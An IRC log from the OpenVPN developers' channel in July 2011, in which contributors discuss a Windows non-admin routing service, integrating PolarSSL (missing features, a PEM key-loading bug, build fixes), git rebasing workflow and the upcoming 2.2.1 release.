15:13 <@mattock> apparently virtuozzo supports freebsd, but it's proprietary: http://www.linux.com/archive/feature/114214 15:13 <@vpnHelper> Title: Linux.com :: A guide to running OpenVZ (at www.linux.com) 15:14 <@mattock> got to go now, see you all later! 15:14 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 15:36 <@raidz> DO NOT go with virtuozzo 15:36 <@raidz> utter crap 15:36 <@raidz> Proxmox has both openvz and KVM 15:37 <@raidz> ecrist? it doesn't have VT? what model proc is it? 15:43 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 15:44 <+ecrist> no idea, it's old 15:44 <+ecrist> I'm going to pick up some different hardware 15:44 <+ecrist> I've now recalled all the reasons we pulled this from produciton 15:44 <+ecrist> production* 15:49 <+ecrist> raidz: quadDamage has an HP box with some decent kit, with VT and 4GB ram, should be fine 15:50 <@raidz> haha, yeah, it could run openvz, but anything that requires a hypervisor will not work. i.e: xen, kvm, vmware, hyper-v etc 15:52 <+ecrist> ESXi runs, just not 64-bit hosts 15:52 <@raidz> hrm 15:52 <+ecrist> I'll try to have something racked and installed by end of next week. 15:53 * ecrist only has 3 public IPs left 15:53 <@raidz> use vpn :-p 15:53 <+ecrist> all the v6 addresses we could want, though. 15:54 * ecrist poofs 23:22 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel --- Day changed Sat Jul 02 2011 00:16 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] 02:01 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Ping timeout: 255 seconds] 07:35 < andj> pfft, finally found the bug in the new PolarSSL wrapper 07:36 < andj> can't reach github now (left the password at work), so will upload it Tuesday, unless someone wants it now :) 07:48 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 12:22 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 13:50 -!- openvpn2009 [~a@openvpn/corp/admin/patel] has joined #openvpn-devel 13:50 -!- mode/#openvpn-devel [+o openvpn2009] by ChanServ 14:31 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:36 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 15:36 -!- mode/#openvpn-devel [+v krzee] by ChanServ 16:08 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 20:25 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 20:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Sun Jul 03 2011 08:25 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has quit [Ping timeout: 264 seconds] 08:26 -!- d12fk [~heiko@2001:1a80:2000:2:21f:c6ff:fe44:aec8] has joined #openvpn-devel 08:26 -!- mode/#openvpn-devel [+o d12fk] by ChanServ 11:23 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 11:34 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Ping timeout: 258 seconds] 11:47 -!- krzee [~k@190.166.168.175] has joined #openvpn-devel 11:47 -!- krzee [~k@190.166.168.175] has quit [Changing host] 11:47 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 11:47 -!- mode/#openvpn-devel [+v krzee] by ChanServ 13:31 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 14:35 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 14:36 -!- krzee [~k@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 15:56 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 16:08 <+krzie> !git 16:08 <@vpnHelper> "git" is (#1) For the stable git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn.git, or (#2) For the development git tree: git clone git://openvpn.git.sourceforge.net/gitroot/openvpn/openvpn-testing.git, or (#3) Browse the git repositories here: http://openvpn.git.sourceforge.net/git/gitweb-index.cgi, or (#4) See !git-doc how to use git 23:37 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 23:37 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 23:37 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 23:37 -!- mode/#openvpn-devel [+v krzee] by ChanServ --- Day changed Mon Jul 04 2011 01:45 -!- dazo_afk is now known as dazo 03:43 -!- Netsplit *.net <-> *.split quits: @cron2 04:27 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 05:53 -!- dazo is now known as dazo_afk 06:33 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 06:33 -!- ServerMode/#openvpn-devel [+o cron2] by pratchett.freenode.net 07:16 -!- beckman16 [~IceChat7@219.64.95.139] has joined #openvpn-devel 07:21 < beckman16> Hi all 07:22 < beckman16> Recently I started working on OpenVPN (Client) for Windows to add support for non-admin users and have succeeded doingh that 07:22 < beckman16> Recently I started working on OpenVPN (Client) for Windows to add support for non-admin users and have succeeded doing that 07:39 < beckman16> I am keen to contribute this code to OpenVPN... how to go about it ? 07:41 < beckman16> anybody here? 08:00 <+ecrist> yup 08:00 < beckman16> ya hi 08:00 <+ecrist> submit a ticket to the trac with your patch 08:01 <+ecrist> also, show up on thursday for the meeting and discuss it 08:01 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 08:01 <+ecrist> meetings are held here, every thursday, at 1300 UTC 08:01 < beckman16> I have written a separate windows service to acheive this, thats like a separate visual studio project 08:01 <+ecrist> Mon Jul 4 13:01:37 UTC 2011 08:01 <+ecrist> not 1300, 1800, sorry 08:01 < beckman16> ok 08:02 < beckman16> ok great 08:02 <+ecrist> does the service require install as admin? 08:02 <+ecrist> part of the problem is Windows doesn't allow modification to the routing tables without admin rights 08:02 < beckman16> ya, like first time installation of openvpn requires admin rights 08:02 <+ecrist> which, really, it shouldn't 08:03 < beckman16> and further usage is not restricted to admin users 08:03 < beckman16> I have it currently running at my end and is working fine in case of restricted users also 08:04 < beckman16> the portion that creates route entries, I have moved that part into a windows service 08:04 < beckman16> that windows service always run as a daemon process with admin privilege 08:05 <+ecrist> it sounds like it would be useful. 08:05 <+ecrist> !trac 08:05 <@vpnHelper> "trac" is (#1) https://community.openvpn.net/openvpn/report for an overview, or (#2) see Spam filtering on wiki main page https://community.openvpn.net/openvpn/wiki 08:05 <+ecrist> you'll need to register for an account 08:07 < beckman16> ok 08:07 < beckman16> and yes, this would be very useful 08:36 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 08:53 < beckman16> I am new to GIT, how would I include a new file/ folder in the patch? 08:53 < beckman16> I have to submit the changes that I have made for OpenVPN to work without admin privileges 08:56 < beckman16> I have always used SVN and am new to GIT, how would I include a new file/ folder in the patch? atleast tell me if thats possible 08:57 -!- dazo_afk is now known as dazo 08:58 <+ecrist> no need to PM, beckman16 08:59 <+ecrist> beckman16: dazo is the one to ask. 09:00 < beckman16> ok :) thanks 09:00 * dazo brb ... connectivity issues 09:01 -!- dazo is now known as dazo_afk 09:01 -!- dazo_afk is now known as dazo 09:02 < beckman16> Hi dazo, you there? 09:02 <@dazo> beckman16: I'm back, I hope :) 09:02 < beckman16> great 09:02 <@dazo> beckman16: 'git add' is what you're looking for 09:03 <@dazo> use it on the files you want to add, directories are implicit added this way 09:03 <@dazo> or git it a directory to include all files in that dir 09:03 < beckman16> ok, and that would just make change to my local copy of the code and not to the actual repo right? 09:03 <@dazo> all your commits happens locally 09:03 <@dazo> so please do that 09:04 <@dazo> with proper commit messages, commit with '-s' to add the "Signed-off-by" line 09:04 <@dazo> when you're happy, you use git format-patch and/or git send-email to generate patch files ... git send-email will even mail them for you 09:06 <@dazo> beckman16: another tip is to checkout your own working branch where you will do all your commits ... that way, it's far easier to generate the patches ... and you don't need to worry too much about rebasing and conflicts in the future when your stuff goes into mainline 09:06 < beckman16> ok great, and I have also added a new project (for windows service) that needs to build separately and current build system is of python scriptsthat generate VC makefiles, I will have to change in those python scripts as well or that could be done modifying settings.in file only? 09:07 <@dazo> beckman16: I dunno much about the win build stuff ... mattock (Samuli on the -devel ML) knows more about it 09:07 < beckman16> dazo: yes thats a good idea 09:07 * dazo tries to stay "Linux only" :) 09:08 < beckman16> hehe... ok I understand 09:08 * ecrist stays "BSD only" 09:08 <+ecrist> and, thus, is superior to dazo. 09:08 <@dazo> okay, I don't have much bad to say about *BSD as well ... just to make ecrist happy :) 09:08 <+ecrist> muahahaha 09:08 <@dazo> lol 09:08 * dazo will let ecrist belive that :-P 09:08 -!- mode/#openvpn-devel [+o ecrist] by ChanServ 09:09 -!- mode/#openvpn-devel [-o dazo] by ChanServ 09:09 < beckman16> nice community I say :) 09:09 -!- mode/#openvpn-devel [+v dazo] by ChanServ 09:09 <@ecrist> there we go. 09:09 <@ecrist> ;) 09:09 <+dazo> hehe ;-) 09:09 -!- mode/#openvpn-devel [+o dazo] by ecrist 09:09 -!- mode/#openvpn-devel [-o ecrist] by ecrist 09:19 -!- beckman16 [~IceChat7@219.64.95.139] has quit [Ping timeout: 255 seconds] 09:48 -!- Netsplit *.net <-> *.split quits: @cron2 11:54 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 12:24 -!- dazo is now known as dazo_afk 12:32 -!- cron2 [~gert@openvpn/community/developer/cron2] has joined #openvpn-devel 12:32 -!- ServerMode/#openvpn-devel [+o cron2] by pratchett.freenode.net 12:48 -!- psha_ [~psha@213.208.162.69] has joined #openvpn-devel 12:48 -!- psha [~psha@213.208.162.69] has quit [Disconnected by services] 12:48 -!- psha_ is now known as phsa 12:48 -!- phsa is now known as psha 12:51 -!- kisom_ [~x@c-f6dde155.648-1-64736c11.cust.bredbandsbolaget.se] has joined #openvpn-devel 12:51 -!- kisom_ is now known as Guest7364 12:52 -!- kisom [~x@c-f6dde155.648-1-64736c11.cust.bredbandsbolaget.se] has quit [Ping timeout: 240 seconds] 13:23 -!- Guest7364 is now known as kisom 17:37 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 22:10 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn-devel 22:10 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host] 22:10 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:10 -!- mode/#openvpn-devel [+v krzee] by ChanServ 22:52 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 23:40 -!- psha [~psha@213.208.162.69] has quit [Quit: leaving] --- Day changed Tue Jul 05 2011 00:14 -!- beckman16 [~IceChat7@219.64.95.139] has joined #openvpn-devel 01:11 -!- dazo_afk is now known as dazo 02:13 < andj> Hello everyone 02:15 < andj> I've pushed the patch to support v0.99-pre5 of PolarSSL 02:15 <@dazo> andj: great! 02:16 < andj> There's still a small bug with DES, but I'm discussing that with the PolarSSL developer now 02:16 < andj> the key size is defined as 56 bits instead of 64 bits in Polar, which is strictly speaking correct 02:17 < andj> but a little annoying if you want to send the full 64-bit key (including parity) 02:17 <@dazo> aha ... well, but that shouldn't impact the openvpn side of PolarSSL? 02:17 < andj> Other than that, there's a few things missing, since they're not supported by PolarSSL. 02:18 < andj> DES/triple DES doesn't work atm 02:18 <@dazo> is that something you'll be working on solving? Or will it be PolarSSL community stuff? 02:18 < andj> the DES stuff I'm talking with the PolarSSL community about 02:19 < andj> if they don't fix it I'll fix it in OpenVPN, but I expect that they'll fix it 02:19 <@dazo> hmm ... well, I don't see any issues with lacking DES/3DES stuff isn't critical, as long as openvpn --show-ciphers doesn't list it 02:20 <@dazo> it's more important that PolarSSL supports critical features which OpenVPN depends more on ... like OID enumeration stuff, and such things 02:20 < andj> It does at the moment, but again, I expect it to be fixed for v0.99 or 1.0, which should be out way before OpenVPN 2.3 02:20 <@dazo> good! 02:21 < andj> * ca_path support - Loading certificate authorities from a directory * PKCS#12 file support * Windows CryptoAPI support * Management external key support * X509 alternative username fields (must be "CN") 02:21 < andj> that's the list of things missing atm 02:21 <@dazo> Have you, or can you, put up a comparison table between OpenSSL and PolarSSL ... what will/is supported in OpenVPN? 02:21 < andj> it's in README.polarssl 02:21 <@dazo> great! 02:21 <@dazo> I'm planning to review some patches today, though 02:22 < andj> For each of those, I'm checking now whether they can be built 02:23 < andj> So there might be a few feature patches for PolarSSL in the next few days... 02:23 <@dazo> wonderful! 02:24 < andj> But the undelying OpenSSL stuff is pretty solid and should be ready 02:24 < andj> +r 02:25 <@dazo> if PolarSSL can match the features of OpenSSL ... then I believe the embedded world will rejoice ... In OpenWRT nowadays it's impossible to install OpenSSL on WRT54GL, it basically eats all available flash space 02:25 < andj> PolarSSL is too, I just need to explicitly enable/disable the missing features in configure.ac or by creating a patch 02:25 <@dazo> yeah 02:25 < andj> dazo: most of the other features are non-essential for embedded 02:25 < andj> That's why they're not there :) 02:26 <@dazo> ca_path and pkcs#12 file support is useful on embedded ... not a must have, but great to have 02:27 < andj> yeah, but the first just isn't supported in PolarSSL, and would be quite annoying to implement. The second I'll ask the developer about 02:27 <@dazo> great! 02:27 < andj> There's two more: * X.509 Serial number is in hex, not decimal 02:27 < andj> * X.509 certificate export 02:28 <@dazo> hmm ... for the X509 serial number ... I'm wondering if we should move over to hex, all in all .... 02:28 < andj> yeah, it seems more logical, but might break existing scripts 02:28 <@dazo> I don't see the consequences directly now, by such a move ... but decimal serials is kind of baroque 02:28 < andj> I think it's mostly backwards compatibility atm, 2.1 still had a 32-bit maximum 02:29 <@dazo> yeah ... we need to review that in general ... I have no issues with such a change in a major update ... but maybe that's more something for 2.4? 02:30 <@dazo> with a compile time options, "--enable-hex-serialno" ... which makes serial numbers at least 64bit 02:30 < andj> It's only a one-line change in the openssl code I think :) 02:30 < andj> * openssl-backend code 02:30 <@dazo> or that openvpn "re-packages" it for now ... in parallel with a patch to openssl 02:30 <@dazo> however, changing openssl code ... that's a tougher process, though 02:31 < andj> not openssl code, just the openvpn-openssl backend 02:31 <@dazo> ahh, okay ... then it's definitely doable 02:31 * dazo tries a openvpn polarssl build 02:32 < andj> so serial = BN_bn2dec(bignum); 02:32 < andj> is the offending line :p 02:32 <@dazo> ahh, together with type declaration of serial, most likely 02:32 < andj> serial is already char* 02:32 <@dazo> \o/ polarssl-devel packages is in Fedora 02:32 < andj> in 2.2/master 02:33 < andj> they're probably the wrong version 02:33 <@dazo> 0.14 02:33 <@dazo> smells old 02:33 < andj> yeah, I have patches for 0.14, which is the current stable 02:33 < andj> But they've already been integrated in 0.99-pre 02:33 < andj> by PolarSSL 02:33 < andj> so 0.99-pre5 is probably best atm 02:34 <@dazo> cool .. okay, need to build polarssl manually then for now 02:35 < andj> Yeah, that's pretty painless thankfully 02:35 < andj> Just edit include/config.h to enable PKCS#11, and you're good to go. 02:36 < andj> anyway, I'll check which features I can implement today, and which need to be disabled, and get back to you 02:36 < andj> let me know if everything works 02:36 < andj> or any problems come up, of course 02:37 < andj> Oh yeah, who's the person to speak to about the PRNG routines? 02:38 <@dazo> will do :) jumping straight on building with the fedora spec file (based on 0.14) 02:38 < andj> I've gotten some feedback that it would be a good idea to reseed the PRNG periodicalyl 02:38 <@dazo> re: PRNG ... james is probably best 02:38 < andj> ah, ok 02:38 < andj> we've got a few hardening patches lying around, mostly ones that disable features 02:38 <@dazo> you can shoot him an e-mail, Cc me and/or mattock if he doesn't respond here ... and we'll make sure to make him not forget about it 02:38 < andj> but one of them might be interesting, as it reseeds the prng every n bytes 02:39 <@dazo> hmm 02:39 <@dazo> that does sound interesting 02:40 < andj> Currently it only picks up entropy once per run 02:40 < andj> Anyway, I'll stack that patch on top of the existing ones, and we can decide later :) 02:42 <@dazo> sounds like a plan 02:43 * dazo curses the '-pre5' extension ... especially the '-' which RPM doesn't parse well 02:44 < andj> Just build it with a staic PolarSSL library :) 02:44 < andj> static 02:45 <@dazo> heh ... well, in the future, PolarSSL will need to be built properly ... I try to avoid having a Frankenstein environment on my dev box :) 02:46 < andj> Polar's support for shared library builds is relatively new :) 02:47 < andj> up to a few years ago it was very much an embedded library 02:59 < andj> Hmm, where is the man page built from? 03:00 <@dazo> andj: vim/emacs/notpad/<your favourite editor> :-P 03:00 < andj> ok, so directly? 03:00 <@dazo> we've been talking about doing something about the man page ... to make it easier to maintain 03:00 <@dazo> now, it's a hurdle to manage, tbh 03:01 <@dazo> but it "works" 03:01 <@dazo> but, yeah, it's directly 03:03 < andj> That's fine, I'll add my lines about PolarSSL edition not supporting a certain parameter there :) 03:03 <@dazo> sounds good! 03:46 <@dazo> andj: want to proxy a polarssl patch for me? http://www.fpaste.org/8OwY/ 03:46 <@dazo> gah, the second block (with "ADD_CUSTOM_TARGET(apidoc_fedora") can be dropped 03:47 < andj> Sure, I can pass it on 03:47 <@dazo> thx! 03:51 <@dazo> andj: on your last master ... you need this one: http://www.fpaste.org/vDiG/ 03:51 <@dazo> I've done ./configure --with-ssl-type=polarssl --disable-pkcs11 03:51 <@dazo> hmmm .... ssl.c:334: undefined reference to `X509_free' 03:52 < andj> hmm, I'm compiling without management external key 03:52 < andj> I'll fix that now 03:52 <@dazo> aha! 03:52 <@dazo> I'll try to compile without management now 03:59 <@dazo> andj: doesn't PolarSSL support PEM keys? 03:59 < andj> It does 03:59 < andj> It doesn't support der keys 03:59 < andj> but neither does OpenVPN :) 03:59 <@dazo> I'm pretty sure I got PEM keys, but it declines to load that key 04:00 <@dazo> Tue Jul 5 11:00:03 2011 Cannot load private key file pem/DavidS_RH-key.pem 04:00 <@dazo> that's with "key pem/DavidS_RH-key.pem" 04:00 < andj> That's strange, it works with my own keys and the sample-keys 04:02 <@dazo> uhh!? ... openssl rsa -inform PEM -in DavidS_RH-key.pem -out test.pem ... then it loads test.pem without issues 04:02 < andj> Can you try a higher debug setting and look for "PolarSSL alert"? 04:03 <@dazo> how high? ... with --verb I presume? 04:03 < andj> yeah, not sure what height the TLS errors kick in let me check 04:03 < andj> 8 04:03 < andj> it's D_HANDSHAKE_VERBOSE 04:04 <@dazo> Tue Jul 5 11:03:51 2011 us=471086 Error: private key password verification failed 04:04 <@dazo> hmm .. this key is supposed to be without password 04:04 <@dazo> it's extracted from a pkcs12 file 04:05 < andj> That's the default failure when loading a key fails apparently 04:05 < andj> in OpenVPN that is 04:05 <@dazo> let me try ... another approach 04:06 < andj> Polar is quite strict in its pem parsing 04:06 < andj> so that might be the issue 04:06 < andj> It really sticks to the standard 04:07 <@dazo> the key was extracted from pkcs12 with -nodes .... so that sets some unexpected flags probably ... but taking that output, passing it through openssl rsa again, fixes it 04:07 <@dazo> it works then both with and without password 04:10 < andj> hmm, will pass that on to Polar 04:10 < andj> So you disassembled a PKCS#12 with what command line? 04:11 <@dazo> openssl pkcs12 -in <pkcs12 file> -nocerts -nodes > key.pem 04:13 < andj> did it include a preamble with text? 04:14 < andj> and not just the --- START whathever 04:14 < andj> block 04:14 <@dazo> it did, which I think I removed manually ... I didn't think it was needed 04:14 * dazo checks the newly generated working PEM file 04:14 < andj> yeah, it might actually hurt Polar, so removing it was a good idea :) 04:15 <@dazo> hehe ... okay :) 04:15 <@dazo> the working key has this: 04:15 <@dazo> -----BEGIN RSA PRIVATE KEY----- 04:15 <@dazo> Proc-Type: 4,ENCRYPTED 04:15 <@dazo> DEK-Info: AES-256-CBC,CA99DE55B1AA60C5F1C22092EB9BFE0F 04:15 <@dazo> the non-working key is missing those two lines 04:16 <@dazo> below this "header" is a blank line, and then the BASE64 data 04:16 < andj> and the bad one? 04:17 <@dazo> just the ---BEGIN line ... and then the BASE64 date 04:17 <@dazo> *a 04:17 < andj> hmm, strange 04:20 <@dazo> hah! those extra lines are there only when the key file is password protected (encrypted) 04:20 <@dazo> so those extra lines is not the reason 04:20 < andj> the plot thickens 04:20 < andj> whitespace perhaps? 04:21 <@dazo> whitespace? 04:21 <@dazo> where? 04:21 < andj> if you do a diff -u between both keys, does it find anyhting? 04:21 <@dazo> completely different files 04:23 < andj> I'm guessing they have a different internal representation... What does openssl x509 -text -in <filename> give you when you compare them 04:23 < andj> Oh wait 04:23 < andj> it's a private key 04:23 < andj> :) 04:23 <@dazo> yeah :) 04:24 <@dazo> certs have no problems ... only the key ... I'll try to find another .p12 file ... try to extract the key there 04:26 < andj> what command line did you use for rewriting? 04:28 <@dazo> openssl rsa -in <troublesome.pem> -inform PEM -out <working.pem> [-aes256] 04:29 * dazo don't think the -inform arg is needed ... that was just to make sure it is a PEM file 04:29 < andj> interestingly, if I perform the smae procedure 04:30 < andj> on the sample-keys p12 file 04:30 < andj> It produces the same output before and after the openssl rsa -in command 04:30 <@dazo> hmmm ... the .p12 files are created with tinyCA2 ... maybe that does something odd ... 04:31 < andj> openssl pkcs12 -in pkcs12.p12 -nodes -nocerts> pkcs12key.pem 04:31 <@dazo> yeah 04:31 <@dazo> that's what I do 04:31 < andj> openssl rsa -in pkcs12key.pem -inform PEM -out pkcs12keywork.pem 04:31 < andj> gives the same result 04:31 < andj> for the key in openvpn/sample-keys 04:31 * dazo boots up his CA ... 04:37 <@dazo> the p12 files are created as: openssl pkcs12 -export -out <file.p12> -in cert.pem -inkey key.pem -certfile ca.pem 04:37 * dazo tries that manually 04:40 <@dazo> and I get two completely different PEM keys 04:40 <@dazo> if I then extract the key 04:41 <@dazo> I used a *working* key file -> p12 -> extract PEM key file again 04:42 <@dazo> and the extraced PEM key won't work 04:42 * dazo thinks this smells like a openssl pkcs12 bug 04:45 < andj> looks like it, asn1parse isn't doing much for me at the moment, need to look into it 04:45 < andj> creating the x509_free patch first, will look into it in a sec 04:46 <@dazo> perfect! 04:49 < andj> https://github.com/andj/openvpn-ssl-refactoring/commits/master 04:49 <@vpnHelper> Title: Commit History for andj/openvpn-ssl-refactoring - GitHub (at github.com) 04:49 < andj> :) 04:50 < andj> the patches are up, I'll look into the key issue now 04:51 * dazo tries to build that one 04:51 <@dazo> andj: you forgot the +#if defined(ENABLE_PKCS11) fix in ssl_polarssl.c 04:52 <@dazo> or did I just miss it myself when reading the commit log ?! 04:52 < andj> hmm, did I not mention it 04:53 <@dazo> I'll try to build without that patch first, to see if that solves it 04:54 <@dazo> nope, that patch is still needed 04:55 <@dazo> http://www.fpaste.org/vDiG/ ... this one, to be precise 04:56 < andj> what is wrong with it? 04:57 <@dazo> if you do ./configure --with-ssl-type=polarssl --disable-pkcs11 ... it won't build 04:57 <@dazo> without that patch 04:57 <@dazo> ssl_ctx->priv_key_pkcs11 is not defined in this case 04:58 < andj> oops, was looking at free 04:58 < andj> thanks 04:58 <@dazo> no worries :) 04:59 <@dazo> free is fixed :) 05:01 < andj> interestingly, I still can't reproduce the key problem 05:01 < andj> using the sample-keys directory 05:02 <@dazo> I'll try the sample-keys ... it can be that the tinyca2 keys I have (generated several years ago) had issues, which have been fixed in later openssl versions 05:02 < andj> I've pushed the patch 05:02 < andj> and I need to go have lunch before it closes, brb 30 mins :) 05:02 <@dazo> uhh ... 12:00 already .... gee ... 05:02 * dazo need lunch too 05:04 * dazo loves cache ... 05:04 <@dazo> $ time (make clean ; make -j5) 05:04 <@dazo> real 0m0.954s 05:04 <@dazo> user 0m0.726s 05:04 <@dazo> sys 0m0.648s 05:05 <@dazo> andj: one more thing ... when using PolarSSL ... if that could be flagged in options.c as a "[xyz]" tag, that'd be great ... maybe SSL -> OpenSSL or PolarSSL ? 05:31 < andj> dazo: good idea, will get on it 05:54 -!- dazo is now known as dazo_afk 06:18 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 06:21 < andj> dazo: you around? Got a git question 06:54 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 06:56 -!- beckman16 [~IceChat7@219.64.95.139] has quit [Quit: Do fish get thirsty?] 07:34 -!- dazo_afk is now known as dazo 07:35 <@dazo> andj: shoot! 07:35 < andj> cool, I want to rebase my patches on top of the openvpn master 07:35 < andj> git fetch; git rebase openvpn/master; should owrk 07:36 <@dazo> git checkout -b rebase-test HEAD # Checks out a copy of your current working branch 07:36 < andj> but then I've rewritten history 07:36 <@dazo> git rebase origin/master 07:36 < andj> Won't I have rewritten history then? 07:36 < andj> and since I've pushed to github... 07:37 <@dazo> yeah, you should always rebase against my openvpn.git/openvpn-testing.git master .... or else the history get will get impossible to read, as I need to merge in your tree 07:37 < andj> yeah, so should I do something along these lines: git push github +master:master 07:37 <@dazo> ahh, you've done that ... rebases should also always happen before pushes .... true, I should make a note about that 07:38 <@dazo> yeah, you need to force an update of your remote master branch 07:38 < andj> trouble is, there should be a bunch of rebases in the future on top of the master, ight? 07:38 < andj> and since you're testing from the github , which is a push 07:38 < andj> ... 07:39 <@dazo> yeah, which is why it's common to create separate working branches which are pushed out during the progress ... then these branches are merged into the official master branch 07:39 <@dazo> and then you can ditch your own branches 07:40 <@dazo> or else we need to merge your branches into master much more rapidly ... which is kind of difficult for this project, due to limited time to work on the project 07:40 < andj> Do you mean create a new github branch for every rebase on openvpn master? 07:42 < andj> I've done a forced update on github now 07:44 <@dazo> not necessarily for each rebase ... but for each major change set .... in this case, doxygen, SSL-API layer (incl OpenSSL stuff) and PolarSSL support would be 3 suitable candidates ... as we need to review these three sets differently 07:45 <@dazo> but I hope to manage a lot of the doxygen stuff very soon ... so lets hope we can have that merged in first ... so don't worry about this one 07:45 < andj> Trouble is they're not really independent... Each is based on the previous 07:45 <@dazo> yeah, that I understand is far more tricky 07:45 < andj> ok, but the question remains: how best to handle changes in openvpn/master :) 07:46 <@dazo> openvpn/master ... that is the official openvpn git tree, I presume? 07:46 < andj> yes, sorry 07:46 <@dazo> then you will always need to rebase against this master branch 07:46 < andj> So always do a forced push 07:46 < andj> ok, then I got it right this time :) 07:46 <@dazo> and yes, it will rewrite your history ... and yes, in this case, it will be forced pushes :) 07:47 < andj> Was hoping for something more... elegant :) 07:47 * dazo tries to pull and see how it explodes :) 07:47 <@dazo> + 015f5c6...4970f14 master -> andj/master (forced update) 07:47 <@dazo> so far so good :) 07:48 < andj> They shouldn't affect each other 07:49 <@dazo> this actually was very clean ... the cleanest test merge I've ever done .... 07:49 < andj> The master patches were in a different area of the tree :) 07:49 <@dazo> I could even rebase the old branch with your stuff ... and it resolved properly, without conflicts 07:50 <@dazo> yeah, probably ... I've just had many challenges with the IPv6 patch sets ... but then again, even I was learning how to do things smoothly in the beginning there as well 07:50 <@dazo> y 07:51 < andj> anyway, this should be all the changes I have for 2.3 07:52 < andj> except for any patches that come up 07:52 <@dazo> woot! your work queue is empty!? ;-) 07:52 < andj> oh wait, there's the DES cblock thing 07:52 <@dazo> yeah, I thought it was something left :-P 08:39 <@dazo> andj: is it correct that the commit range master..8080e93 is the doxygen, 8080e93..d23553 is SSL API refactoring, d23553..2b018c is PolarSSL implementation and 2b018c..4970f1 is final clean up? 08:43 <@dazo> master..8080e93 = 9 commits, 8080e93..d23553 = 74 commits, d23553..2b018c = 13 commits, 2b018c..4970f1 = 4 commits 09:04 < andj> That sounds about right 09:05 < andj> dazo: fz743d14 is where the ssl stuff starts and crypto stuff ends 09:06 < andj> which is a further possible split 09:06 <@dazo> ahh, yeah I saw those as one set ... but you're right ... the 8080e93..d23553 is rather big, so I expected a split here, somewhere 09:06 < andj> That would be a logical place for it :) 09:07 < andj> You'd have a multi-library OpenVPN, but I think it might just be workable :) 09:21 < andj> Anyway, need to go, speak to you soon 09:21 <@dazo> sure, c'ya! 10:16 -!- s7r [~s7r@unaffiliated/s7r] has joined #openvpn-devel 10:38 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:33 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has quit [Read error: Connection reset by peer] 11:34 -!- Essobi [~Essobi@74-128-53-127.dhcp.insightbb.com] has joined #openvpn-devel 11:37 -!- psha [~psha@213.208.162.69] has quit [Read error: Connection reset by peer] 11:37 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 13:17 -!- dazo is now known as dazo_afk 13:27 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 13:27 -!- mode/#openvpn-devel [+o mattock] by ChanServ 13:29 <@mattock> hi all, I'm now working from California until 15th July 13:46 <@mattock> james has signed the release files and is coming to office later today, so we should have a release today (PST) 13:54 < Essobi> nice! 14:32 -!- s7r [~s7r@unaffiliated/s7r] has left #openvpn-devel [] 14:42 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:59 <+krzie> mattock!!!! 14:59 <+krzie> what part of cali? 14:59 <+krzie> im gunna be in cali before then 14:59 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 14:59 -!- mode/#openvpn-devel [+v krzee] by ChanServ 14:59 <+krzie> oh wait damn 14:59 <+krzie> ill be there JUST after that 14:59 <+krzie> =/ 16:17 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 17:21 <@mattock> krzie: Pleasanton, next to San Fransisco 17:22 <@mattock> when are you coming? 17:30 <+krzie> to so-cal july 26, norcal will be later 17:30 <+krzie> by like a week or 2... but i coulda gone up sooner if you were there 17:30 <+krzie> i have friends in pleasanton 17:31 <+krzie> if you need weed i can see bout putting you in touch with someone ;) 17:58 <@mattock> krzie: hahaha :D 18:01 <@mattock> I'll be leaving on 17th July, so if you're here before that we should definitely meet! 18:01 <@mattock> doing final tests for 2.2.1 18:01 <@mattock> james had sent me the signatures and all is set 18:01 <@mattock> just smoketests and we're done 18:03 <@mattock> krzie: I'm pretty sure you could visit the company too, if you like 18:03 <@mattock> maybe have lunch with us 18:54 <+krzie> ya i should 18:54 <+krzie> unfortunatly i wont make it while you're there 19:11 <@mattock> too bad... 19:13 -!- Punkbob [~Punkbob@c-76-21-171-135.hsd1.va.comcast.net] has joined #openvpn-devel 19:16 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 276 